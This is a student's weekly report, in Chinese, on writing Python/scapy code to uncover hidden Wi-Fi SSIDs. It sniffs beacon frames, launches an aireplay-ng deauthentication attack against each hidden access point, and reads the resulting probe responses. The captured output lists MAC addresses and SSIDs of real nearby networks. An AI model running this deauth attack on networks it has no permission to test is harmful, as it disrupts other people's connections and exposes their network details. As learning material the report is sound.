每周总结

孔德宇 数据科学与计算机学院

一、 任务总述

a) 用代码实现获取隐藏 wifi 的 SSID。

二、 具体实现

上周通过理论的方式获得了隐藏 wifi 的 SSID，这周就用代码实现了获取 SSID 的方法，简化了获取 SSID 的步骤。

这次代码的实现采用的是 python+scapy 的方式，通过 scapy 提供的接口对数据包进行嗅探从而获取 SSID。

① 找出隐藏 wifi 的 MAC 地址

首先开启网卡的监听模式。

```
sniff(iface = 'mon0', prn = PacketHandler) #监听
```

调用 sniff 方法，监听 mon0 网卡，并对获取到的每个数据包都执行 PacketHandler 函数。

```
if pkt.haslayer(Dot11):#判断数据包是否属于802.11
    if pkt.type == 0 and pkt.subtype == 8:#取出所有的beacon帧
        if pkt.addr2 not in mac:#确保BSSID不重复
            mac.append(pkt.addr2)
            a = 'MAC地址：%s\tSSID：%s'%(pkt.addr2, pkt.info)
            #print a
            if pkt.info == '' :#如果SSID为空
                if pkt.addr2 not in hiddenmac:
                    hiddenmac.append(pkt.addr2)
                    print '隐藏wifi的MAC地址：  %s' %pkt.addr2
```

首先判断数据包是否属于 802.11 协议，然后根据帧结构，type = 0 对应的是管理帧，subtype = 8 对应的是 beacon 信标帧来取出所有的 beacon 帧。

这里将所有 ap 信号的 mac 地址储存到 mac 数组中，并在开始时进行判断，以避免重复的情况。

```
MAC地址: 00:05:12:0c:0f:c2      SSID: CMCC
MAC地址: 06:05:12:0c:0f:c2      SSID: HotZone Duo - 1
MAC地址: d4:ee:07:48:37:ee      SSID:
MAC地址: 00:05:12:0c:03:56      SSID: CMCC
MAC地址: 6c:59:40:26:84:1c      SSID: victory
MAC地址: 8c:be:be:15:b2:b6      SSID: LieBaoWiFi181
MAC地址: 00:36:76:33:e5:5a      SSID: AAA
MAC地址: d4:ee:07:40:49:ce      SSID: HiWiFi_4049CE
MAC地址: d4:ee:07:3d:0c:0c      SSID: 3D0C0C
MAC地址: 8c:ab:8e:e6:39:68      SSID:
MAC地址: d4:ee:07:39:f8:be      SSID: zhibin's wifi
MAC地址: d4:ee:07:0a:db:bc      SSID: glglzb
MAC地址: d8:15:0d:b3:75:16      SSID: Michael
MAC地址: 00:05:12:0c:02:66      SSID: CMCC
MAC地址: d4:ee:07:3c:c4:b4      SSID: bysser
MAC地址: 5a:cf:5e:4f:98:e3      SSID: baoge
MAC地址: 5a:d2:24:a7:b9:f0      SSID: Liuxiang
MAC地址: 0c:82:68:e5:05:88      SSID: hehe
MAC地址: d4:ee:07:4d:13:6a      SSID: fdream-hi
MAC地址: ac:b5:7d:69:d2:28      SSID: wifi
MAC地址: 4a:c2:dd:c8:ea:07      SSID: amnotgod
```

pkt.info 判断数据包的 SSID，如果 SSID 为空值，并且不再 hiddenmac 数组中，则放入数组，并且输出隐藏 wifi 的 mac 地址。

```
隐藏wifi的MAC地址:  d4:ee:07:48:37:ee
```

② 对隐藏 wifi 进行攻击

```
f = os.popen('aireplay-ng --deauth 10 -a '+pkt.addr2+' mon0 --ignore-negative-one')
```

调用 os 中的 popen 方法来对隐藏的 mac 地址进行攻击，经过多次尝试这里设到 10 次就基本可以成功了，如果设的太大可能导致路由器会抽风一段时间……。

③ 找出隐藏 wifi 对应的 probe response 帧获得 SSID

```
if pkt.type == 0 and pkt.subtype == 5:#取出所有的probe response帧
    if pkt.addr2 in hiddenmac:#判断是否为隐藏wifi
        if pkt.addr2 not in findmac:
            findmac.append(pkt.addr2)
            a = '隐藏wifi的MAC地址: %s\t SSID: %s'%(pkt.addr2, pkt.info)
            print a
```

type = 0 位管理帧，subtype = 5 为 probe response 帧，这里取得 probe response 帧后取出根据 mac 地址取出跟隐藏 wifi 相关的 probe response 帧这样既可根据 info 来获取 SSID。